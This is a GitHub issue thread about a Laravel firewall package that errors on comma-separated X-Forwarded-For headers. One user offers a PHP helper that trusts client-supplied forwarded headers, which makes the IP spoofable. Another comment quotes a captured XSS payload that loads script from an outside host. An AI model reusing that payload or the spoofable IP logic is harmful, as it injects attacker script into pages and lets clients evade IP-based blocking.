antonioribeiro / firewall

Firewall package for Laravel applications
BSD 3-Clause "New" or "Revised" License
1.39k stars 162 forks source link

Comma-separated multiple IP address cause error "gethostbyaddr(): Address is not a valid IPv4 or IPv6 address" #165

Open jordanade opened 4 years ago

jordanade commented 4 years ago

Apparently I'm getting a lot of these errors because the code (Firewall.php:270) is relying on HTTP_X_FORWARDED_FOR which can contain multiple addresses separated by commas.

jordanade commented 4 years ago

See https://www.jamescrowley.net/2007/06/19/gotcha-http-x-forwarded-for-returns-multiple-ip-addresses/

jordanade commented 4 years ago

Here's code I use to reliably get the actual user IP:

function getUserIP()
{
    if (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
        if ($first_ip_in_list = stristr($ip, ',', true))
            $ip = $first_ip_in_list;
    }
    elseif (getenv('HTTP_X_REAL_IP')) {
        $ip = getenv('HTTP_X_REAL_IP');
    }
    else {
        $ip = $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1';
    }
    return $ip;
}
jordanade commented 4 years ago

Related to this is another issue where malformed HTTP_X_FORWARDED_FOR is being used as an attack vector—I recently got this error with the following value: \"><script type=text/javascript src='https://css.digestcolect.com/stm?&tp=3'></script>